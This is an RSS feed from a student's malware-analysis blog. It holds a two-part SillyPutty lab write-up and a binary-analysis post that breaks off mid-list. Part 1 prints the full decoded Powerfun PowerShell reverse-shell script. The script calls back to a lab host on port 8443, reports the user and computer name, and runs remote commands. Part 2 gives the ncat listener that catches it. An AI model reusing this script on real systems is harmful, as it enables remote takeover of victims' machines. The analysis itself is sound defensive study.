<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>unsigned</title><link>https://unsigned.re/</link><description>A cybersecurity student trying to reverse engineer stuff.</description><language>en</language><atom:link href="https://unsigned.re/index.xml" rel="self" type="application/rss+xml"/><item><title>SillyPutty - Part 2</title><link>https://unsigned.re/p/sillyputty-part-2/</link><guid isPermaLink="true">https://unsigned.re/p/sillyputty-part-2/</guid><pubDate>Thu, 10 Jul 2025 19:00:00 GMT</pubDate><description>&lt;h2 id=&quot;chapter-objective&quot;&gt;Objective&lt;/h2&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;markdown&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;markdown code&quot;&gt;&lt;code class=&quot;hljs language-markdown&quot;&gt;Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program.
They say that they&amp;#x27;ve been using this program with no problems until recently.
Now, it&amp;#x27;s crashing randomly and popping up blue windows when its run. I don&amp;#x27;t like the sound of that. Do your thing!

IR Team
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware&amp;#39;s behavior. Answer the challenge questions below.&lt;/p&gt;
&lt;h3 id=&quot;chapter-basic-dynamic-analysis&quot;&gt;Basic dynamic analysis&lt;/h3&gt;
&lt;h4 id=&quot;chapter-describe-initial-detonation-are-there-any-notable-occurances-at-first-detonation-without-internet-si&quot;&gt;Describe initial detonation. Are there any notable occurances at first detonation? Without internet simulation? With internet simulation?&lt;/h4&gt;
&lt;p&gt;Running with and without internet simulation shows the same thing, a regular putty but a weird blue window briefly appears.&lt;/p&gt;
&lt;h4 id=&quot;chapter-from-the-host-based-indicators-perspective-what-is-the-main-payload-that-is-initiated-at-detonation-&quot;&gt;From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?&lt;/h4&gt;
&lt;p&gt;From the host-based indicators perspective, the main payload that is iniatiated at detonation is a powershell script which was identified during the static analysis phase. We can confirm this further by using procmon and monitoring &lt;strong&gt;putty.exe&lt;/strong&gt;. From here we can see that  &lt;strong&gt;putty.exe&lt;/strong&gt; spawns a powershell console as a child process with the parameters identified in the first part.
&lt;img src=&quot;https://unsigned.re/assets/img/sillyputty_2/child-process.png&quot; alt=&quot;child-process.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-what-is-the-dns-record-that-is-queried-at-detonation&quot;&gt;What is the DNS record that is queried at detonation?&lt;/h4&gt;
&lt;p&gt;The DNS record that is queried at detonation is &lt;strong&gt;bonus2.corporatebonusapplication.local&lt;/strong&gt;
&lt;img src=&quot;https://unsigned.re/assets/img/sillyputty_2/dns-record.png&quot; alt=&quot;dns.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-what-is-the-callback-port-number-at-detonation&quot;&gt;What is the callback port number at detonation?&lt;/h4&gt;
&lt;p&gt;The callback port number at detonation is &lt;strong&gt;8443&lt;/strong&gt;
&lt;img src=&quot;https://unsigned.re/assets/img/sillyputty_2/wireshark.png&quot; alt=&quot;wireshark.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-what-is-the-callback-protocol-at-detonation&quot;&gt;What is the callback protocol at detonation?&lt;/h4&gt;
&lt;p&gt;The callback protocol at detonation is &lt;strong&gt;SSL/TLS&lt;/strong&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-how-can-you-use-host-based-telemetry-to-identify-the-dns-record-port-and-protocol&quot;&gt;How can you use host-based telemetry to identify the DNS record, port, and protocol?&lt;/h4&gt;
&lt;p&gt;To identify the DNS record, port and protocol using host-based telemetry, we can simply filter the PID from putty.exe and look for &amp;quot;Operation contains TCP&amp;quot;&lt;/p&gt;
&lt;h4 id=&quot;chapter-attempt-to-get-the-binary-to-initiate-a-shell-on-the-localhost-does-a-shell-spawn-what-is-needed-for&quot;&gt;Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?&lt;/h4&gt;
&lt;p&gt;To iniate a shell on the localhost using the binary we can remove the &lt;strong&gt;-sslcon true&lt;/strong&gt; argument from the payload.
We can also reroute the traffic to the localhost and use the &lt;strong&gt;--ssl&lt;/strong&gt; argument on our ncat command --&amp;gt; &lt;strong&gt;ncat -nvlp  8443 --ssl&lt;/strong&gt;&lt;/p&gt;
</description><category>Reverse</category><category>Malware</category><category>reverse</category><category>malware</category><category>dynamic-analysis</category></item><item><title>SillyPutty - Part 1</title><link>https://unsigned.re/p/sillyputty-part-1/</link><guid isPermaLink="true">https://unsigned.re/p/sillyputty-part-1/</guid><pubDate>Thu, 10 Jul 2025 18:21:00 GMT</pubDate><description>&lt;h2 id=&quot;chapter-objective&quot;&gt;Objective&lt;/h2&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;markdown&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;markdown code&quot;&gt;&lt;code class=&quot;hljs language-markdown&quot;&gt;Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program.
They say that they&amp;#x27;ve been using this program with no problems until recently.
Now, it&amp;#x27;s crashing randomly and popping up blue windows when its run. I don&amp;#x27;t like the sound of that. Do your thing!

IR Team
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware&amp;#39;s behavior. Answer the challenge questions below.&lt;/p&gt;
&lt;h3 id=&quot;chapter-basic-static-analysis&quot;&gt;Basic static analysis&lt;/h3&gt;
&lt;h4 id=&quot;chapter-what-is-the-sha256-hash-of-the-sample&quot;&gt;What is the SHA256 hash of the sample?&lt;/h4&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;shell&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;shell code&quot;&gt;&lt;code class=&quot;hljs language-bash&quot;&gt;$ sha256sum.exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h4 id=&quot;chapter-what-architecture-is-this-binary&quot;&gt;What architecture is this binary?&lt;/h4&gt;
&lt;p&gt;Using PEStudio, we can see that it&amp;#39;s a 32-bit binary.
&lt;img src=&quot;https://unsigned.re/assets/img/sillyputty_1/pestudio_arch.png&quot; alt=&quot;architecture.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-are-there-any-results-from-submitting-the-sha256-hash-to-virustotal&quot;&gt;Are there any results from submitting the SHA256 hash to VirusTotal?&lt;/h4&gt;
&lt;p&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83&quot;&gt;View full VirusTotal analysis&lt;/a&gt;
&lt;img src=&quot;https://unsigned.re/assets/img/sillyputty_1/virustotal.png&quot; alt=&quot;vt.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-describe-the-results-of-pulling-the-strings-from-this-binary-record-and-describe-any-strings-that-ar&quot;&gt;Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?&lt;/h4&gt;
&lt;p&gt;If we checking the strings, we can see that a powershell command is sent :&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;shell&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;shell code&quot;&gt;&lt;code class=&quot;hljs language-bash&quot;&gt;powershell.exe -nop -w hidden -noni -ep bypass &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;&amp;amp;([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(&amp;#x27;{b64encoded_value}}&amp;#x27;))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Let&amp;#39;s break it down to understand it :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;nop: No Profile — Runs PowerShell without loading the user profile.&lt;/li&gt;
&lt;li&gt;w hidden: Window Hidden — Starts PowerShell with a hidden window.&lt;/li&gt;
&lt;li&gt;noni: No Interactive — Runs PowerShell non-interactively.&lt;/li&gt;
&lt;li&gt;ep bypass: Execution Policy Bypass — Ignores script execution policy restrictions.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can also understand from the scriptblock that it reads a base64-encoded Gzip-compressed powershell script and if we decompress it, we can see that it&amp;#39;s a script called PowerFun.&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;powershell&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;powershell code&quot;&gt;&lt;code class=&quot;hljs language-powershell&quot;&gt;&lt;span class=&quot;hljs-built_in&quot;&gt;PS&lt;/span&gt; C:\Users\concierge &amp;gt; &lt;span class=&quot;hljs-variable&quot;&gt;$value&lt;/span&gt;
&lt;span class=&quot;hljs-comment&quot;&gt;# Powerfun - Written by Ben Turner &amp;amp; Dave Hardy&lt;/span&gt;

&lt;span class=&quot;hljs-function&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;hljs-title&quot;&gt;Get-Webclient&lt;/span&gt;&lt;/span&gt;
{
    &lt;span class=&quot;hljs-variable&quot;&gt;$wc&lt;/span&gt; = &lt;span class=&quot;hljs-built_in&quot;&gt;New-Object&lt;/span&gt; &lt;span class=&quot;hljs-literal&quot;&gt;-TypeName&lt;/span&gt; Net.WebClient
    &lt;span class=&quot;hljs-variable&quot;&gt;$wc&lt;/span&gt;.UseDefaultCredentials = &lt;span class=&quot;hljs-variable&quot;&gt;$true&lt;/span&gt;
    &lt;span class=&quot;hljs-variable&quot;&gt;$wc&lt;/span&gt;.Proxy.Credentials = &lt;span class=&quot;hljs-variable&quot;&gt;$wc&lt;/span&gt;.Credentials
    &lt;span class=&quot;hljs-variable&quot;&gt;$wc&lt;/span&gt;
}
&lt;span class=&quot;hljs-function&quot;&gt;&lt;span class=&quot;hljs-keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;hljs-title&quot;&gt;powerfun&lt;/span&gt;&lt;/span&gt;
{
    &lt;span class=&quot;hljs-keyword&quot;&gt;Param&lt;/span&gt;(
    [&lt;span class=&quot;hljs-built_in&quot;&gt;String&lt;/span&gt;]&lt;span class=&quot;hljs-variable&quot;&gt;$Command&lt;/span&gt;,
    [&lt;span class=&quot;hljs-built_in&quot;&gt;String&lt;/span&gt;]&lt;span class=&quot;hljs-variable&quot;&gt;$Sslcon&lt;/span&gt;,
    [&lt;span class=&quot;hljs-built_in&quot;&gt;String&lt;/span&gt;]&lt;span class=&quot;hljs-variable&quot;&gt;$Download&lt;/span&gt;
    )
    &lt;span class=&quot;hljs-keyword&quot;&gt;Process&lt;/span&gt; {
    &lt;span class=&quot;hljs-variable&quot;&gt;$modules&lt;/span&gt; = &lt;span class=&quot;hljs-selector-tag&quot;&gt;@&lt;/span&gt;()
    &lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;hljs-variable&quot;&gt;$Command&lt;/span&gt; &lt;span class=&quot;hljs-operator&quot;&gt;-eq&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;bind&amp;quot;&lt;/span&gt;)
    {
        &lt;span class=&quot;hljs-variable&quot;&gt;$listener&lt;/span&gt; = [&lt;span class=&quot;hljs-type&quot;&gt;System.Net.Sockets.TcpListener&lt;/span&gt;]&lt;span class=&quot;hljs-number&quot;&gt;8443&lt;/span&gt;
        &lt;span class=&quot;hljs-variable&quot;&gt;$listener&lt;/span&gt;.start()
        &lt;span class=&quot;hljs-variable&quot;&gt;$client&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$listener&lt;/span&gt;.AcceptTcpClient()
    }
    &lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;hljs-variable&quot;&gt;$Command&lt;/span&gt; &lt;span class=&quot;hljs-operator&quot;&gt;-eq&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;reverse&amp;quot;&lt;/span&gt;)
    {
        &lt;span class=&quot;hljs-variable&quot;&gt;$client&lt;/span&gt; = &lt;span class=&quot;hljs-built_in&quot;&gt;New-Object&lt;/span&gt; System.Net.Sockets.TCPClient(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;bonus2.corporatebonusapplication.local&amp;quot;&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;8443&lt;/span&gt;)
    }

    &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$client&lt;/span&gt;.GetStream()

    &lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;hljs-variable&quot;&gt;$Sslcon&lt;/span&gt; &lt;span class=&quot;hljs-operator&quot;&gt;-eq&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;)
    {
        &lt;span class=&quot;hljs-variable&quot;&gt;$sslStream&lt;/span&gt; = &lt;span class=&quot;hljs-built_in&quot;&gt;New-Object&lt;/span&gt; System.Net.Security.SslStream(&lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;,&lt;span class=&quot;hljs-variable&quot;&gt;$false&lt;/span&gt;,({&lt;span class=&quot;hljs-variable&quot;&gt;$True&lt;/span&gt;} &lt;span class=&quot;hljs-operator&quot;&gt;-as&lt;/span&gt;
[&lt;span class=&quot;hljs-type&quot;&gt;Net.Security.RemoteCertificateValidationCallback&lt;/span&gt;]))
        &lt;span class=&quot;hljs-variable&quot;&gt;$sslStream&lt;/span&gt;.AuthenticateAsClient(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;bonus2.corporatebonusapplication.local&amp;quot;&lt;/span&gt;)
        &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$sslStream&lt;/span&gt;
    }

    [&lt;span class=&quot;hljs-built_in&quot;&gt;byte&lt;/span&gt;[]]&lt;span class=&quot;hljs-variable&quot;&gt;$bytes&lt;/span&gt; = &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;..&lt;span class=&quot;hljs-number&quot;&gt;20000&lt;/span&gt;|%{&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;}
    &lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt; = ([&lt;span class=&quot;hljs-type&quot;&gt;text.encoding&lt;/span&gt;]::ASCII).GetBytes(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;Windows PowerShell running as user &amp;quot;&lt;/span&gt; + &lt;span class=&quot;hljs-variable&quot;&gt;$env:username&lt;/span&gt; + &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot; on &amp;quot;&lt;/span&gt; +
&lt;span class=&quot;hljs-variable&quot;&gt;$env:computername&lt;/span&gt; + &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n&amp;quot;&lt;/span&gt;)
    &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Write(&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;,&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;.Length)

    &lt;span class=&quot;hljs-keyword&quot;&gt;if&lt;/span&gt; (&lt;span class=&quot;hljs-variable&quot;&gt;$Download&lt;/span&gt; &lt;span class=&quot;hljs-operator&quot;&gt;-eq&lt;/span&gt; &lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;true&amp;quot;&lt;/span&gt;)
    {
        &lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt; = ([&lt;span class=&quot;hljs-type&quot;&gt;text.encoding&lt;/span&gt;]::ASCII).GetBytes(&lt;span class=&quot;hljs-string&quot;&gt;&amp;quot;[+] Loading modules.`n&amp;quot;&lt;/span&gt;)
        &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Write(&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;,&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;.Length)
        &lt;span class=&quot;hljs-keyword&quot;&gt;ForEach&lt;/span&gt; (&lt;span class=&quot;hljs-variable&quot;&gt;$module&lt;/span&gt; &lt;span class=&quot;hljs-keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;hljs-variable&quot;&gt;$modules&lt;/span&gt;)
        {
            (&lt;span class=&quot;hljs-built_in&quot;&gt;Get-Webclient&lt;/span&gt;).DownloadString(&lt;span class=&quot;hljs-variable&quot;&gt;$module&lt;/span&gt;)|&lt;span class=&quot;hljs-built_in&quot;&gt;Invoke-Expression&lt;/span&gt;
        }
    }

    &lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt; = ([&lt;span class=&quot;hljs-type&quot;&gt;text.encoding&lt;/span&gt;]::ASCII).GetBytes(&lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;PS &amp;#x27;&lt;/span&gt; + (&lt;span class=&quot;hljs-built_in&quot;&gt;Get-Location&lt;/span&gt;).Path + &lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;&amp;gt;&amp;#x27;&lt;/span&gt;)
    &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Write(&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;,&lt;span class=&quot;hljs-variable&quot;&gt;$sendbytes&lt;/span&gt;.Length)

    &lt;span class=&quot;hljs-keyword&quot;&gt;while&lt;/span&gt;((&lt;span class=&quot;hljs-variable&quot;&gt;$i&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Read(&lt;span class=&quot;hljs-variable&quot;&gt;$bytes&lt;/span&gt;, &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;hljs-variable&quot;&gt;$bytes&lt;/span&gt;.Length)) &lt;span class=&quot;hljs-operator&quot;&gt;-ne&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;)
    {
        &lt;span class=&quot;hljs-variable&quot;&gt;$EncodedText&lt;/span&gt; = &lt;span class=&quot;hljs-built_in&quot;&gt;New-Object&lt;/span&gt; &lt;span class=&quot;hljs-literal&quot;&gt;-TypeName&lt;/span&gt; System.Text.ASCIIEncoding
        &lt;span class=&quot;hljs-variable&quot;&gt;$data&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$EncodedText&lt;/span&gt;.GetString(&lt;span class=&quot;hljs-variable&quot;&gt;$bytes&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;, &lt;span class=&quot;hljs-variable&quot;&gt;$i&lt;/span&gt;)
        &lt;span class=&quot;hljs-variable&quot;&gt;$sendback&lt;/span&gt; = (&lt;span class=&quot;hljs-built_in&quot;&gt;Invoke-Expression&lt;/span&gt; &lt;span class=&quot;hljs-literal&quot;&gt;-Command&lt;/span&gt; &lt;span class=&quot;hljs-variable&quot;&gt;$data&lt;/span&gt; &lt;span class=&quot;hljs-number&quot;&gt;2&lt;/span&gt;&amp;gt;&amp;amp;&lt;span class=&quot;hljs-number&quot;&gt;1&lt;/span&gt; | &lt;span class=&quot;hljs-built_in&quot;&gt;Out-String&lt;/span&gt; )

        &lt;span class=&quot;hljs-variable&quot;&gt;$sendback2&lt;/span&gt;  = &lt;span class=&quot;hljs-variable&quot;&gt;$sendback&lt;/span&gt; + &lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;PS &amp;#x27;&lt;/span&gt; + (&lt;span class=&quot;hljs-built_in&quot;&gt;Get-Location&lt;/span&gt;).Path + &lt;span class=&quot;hljs-string&quot;&gt;&amp;#x27;&amp;gt; &amp;#x27;&lt;/span&gt;
        &lt;span class=&quot;hljs-variable&quot;&gt;$x&lt;/span&gt; = (&lt;span class=&quot;hljs-variable&quot;&gt;$error&lt;/span&gt;[&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;] | &lt;span class=&quot;hljs-built_in&quot;&gt;Out-String&lt;/span&gt;)
        &lt;span class=&quot;hljs-variable&quot;&gt;$error&lt;/span&gt;.clear()
        &lt;span class=&quot;hljs-variable&quot;&gt;$sendback2&lt;/span&gt; = &lt;span class=&quot;hljs-variable&quot;&gt;$sendback2&lt;/span&gt; + &lt;span class=&quot;hljs-variable&quot;&gt;$x&lt;/span&gt;

        &lt;span class=&quot;hljs-variable&quot;&gt;$sendbyte&lt;/span&gt; = ([&lt;span class=&quot;hljs-type&quot;&gt;text.encoding&lt;/span&gt;]::ASCII).GetBytes(&lt;span class=&quot;hljs-variable&quot;&gt;$sendback2&lt;/span&gt;)
        &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Write(&lt;span class=&quot;hljs-variable&quot;&gt;$sendbyte&lt;/span&gt;,&lt;span class=&quot;hljs-number&quot;&gt;0&lt;/span&gt;,&lt;span class=&quot;hljs-variable&quot;&gt;$sendbyte&lt;/span&gt;.Length)
        &lt;span class=&quot;hljs-variable&quot;&gt;$stream&lt;/span&gt;.Flush()
    }
    &lt;span class=&quot;hljs-variable&quot;&gt;$client&lt;/span&gt;.Close()
    &lt;span class=&quot;hljs-variable&quot;&gt;$listener&lt;/span&gt;.Stop()
    }
}

powerfun &lt;span class=&quot;hljs-literal&quot;&gt;-Command&lt;/span&gt; reverse &lt;span class=&quot;hljs-literal&quot;&gt;-Sslcon&lt;/span&gt; true
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;After examining this script, we can be certain that it&amp;#39;s a powershell reverse shell.&lt;/p&gt;
&lt;h4 id=&quot;chapter-describe-the-results-of-inspecting-the-iat-for-this-binary-are-there-any-imports-worth-noting&quot;&gt;Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?&lt;/h4&gt;
&lt;p&gt;After inspecting the IAT for this binary, it looks normal.&lt;/p&gt;
&lt;h4 id=&quot;chapter-is-it-likely-that-this-binary-is-packed&quot;&gt;Is it likely that this binary is packed?&lt;/h4&gt;
&lt;p&gt;This binary is likely not packed since the size of raw data and virtual size of the headers are close values. We can also tell since the strings are detailed.&lt;/p&gt;
</description><category>Reverse</category><category>Malware</category><category>reverse</category><category>malware</category><category>static-analysis</category></item><item><title>Binary analysis</title><link>https://unsigned.re/p/binary-analysis/</link><guid isPermaLink="true">https://unsigned.re/p/binary-analysis/</guid><pubDate>Thu, 13 Mar 2025 15:34:00 GMT</pubDate><description>&lt;h2 id=&quot;chapter-initial-analysis&quot;&gt;Initial analysis&lt;/h2&gt;
&lt;p&gt;When examining a binary file, I first check for readable text strings, but found nothing useful:&lt;/p&gt;
&lt;div class=&quot;code-block&quot;&gt;&lt;div class=&quot;code-header&quot;&gt;&lt;span class=&quot;code-language&quot;&gt;shell&lt;/span&gt;&lt;/div&gt;&lt;pre tabindex=&quot;0&quot; aria-label=&quot;shell code&quot;&gt;&lt;code class=&quot;hljs language-bash&quot;&gt;strings output.bin
:[d(u
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id=&quot;chapter-static-analysis&quot;&gt;Static analysis&lt;/h3&gt;
&lt;p&gt;Loading the file in IDA revealed a pattern common in malicious code:&lt;/p&gt;
&lt;h4 id=&quot;chapter-anti-debug&quot;&gt;Anti-Debug&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/anti-debug.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;This code works by:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Getting the Process Environment Block address using the FS segment&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Reading the BeingDebugged flag at offset + 0x2&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checking if the flag is non-zero&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If a debugger is detected, jumping to an exit point&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4 id=&quot;chapter-anti-vm&quot;&gt;Anti-VM&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/anti-vm.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;This code:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Reads the NumberOfProcessors value from PEB + 0x64&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Checks if the system has 2 or fewer processors&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If so, assumes it&amp;#39;s running in a VM and jumps to the same exit point&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;chapter-payload-decryption&quot;&gt;Payload decryption&lt;/h3&gt;
&lt;p&gt;Following the anti-analysis technique used, the binary employs a multi-stage decryption routine :&lt;/p&gt;
&lt;h4 id=&quot;chapter-decryption-routine&quot;&gt;Decryption routine&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Registers are saved on the stack&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Values are manipulated in ESI, EDI, and DL registers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Implements a XOR-based decryption loop:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Loads bytes from ESI into AL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Performs XOR operation between AL and DL&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Increments AL and stores result to EDI&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Continues until AL equals 0x0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Functions as a shellcode loader that decrypts values until reaching end of list (0x0)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_120.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-execution-transition&quot;&gt;Execution transition&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Upon completion of decryption, executes POPAD to restore registers&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Returns to loc_57 via RET 0x4&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_133.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-stack-preparation&quot;&gt;Stack preparation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Pushes multiple values onto the stack (0x0, ESI, EDI, etc.)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Pushes specific hex values (0x1361C78E, 0x8C2C7D7)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Calls loc_111&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_57.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-function-pointer-setup&quot;&gt;Function pointer setup&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Pops a value from stack into ECX register&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Calls loc_c0&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://unsigned.re/assets/img/bba_images/loc_111.png&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;h4 id=&quot;chapter-dll-resolution&quot;&gt;DLL resolution&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Sets EAX to 0&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Accesses the Process Environment Block (PEB)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Navigates to PEB_LDR_DATA&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Locates InMemoryOrderModuleList that contains Flink and Blink structures that are used to traverse loaded modules without calling suspicious APIs&lt;/p&gt;
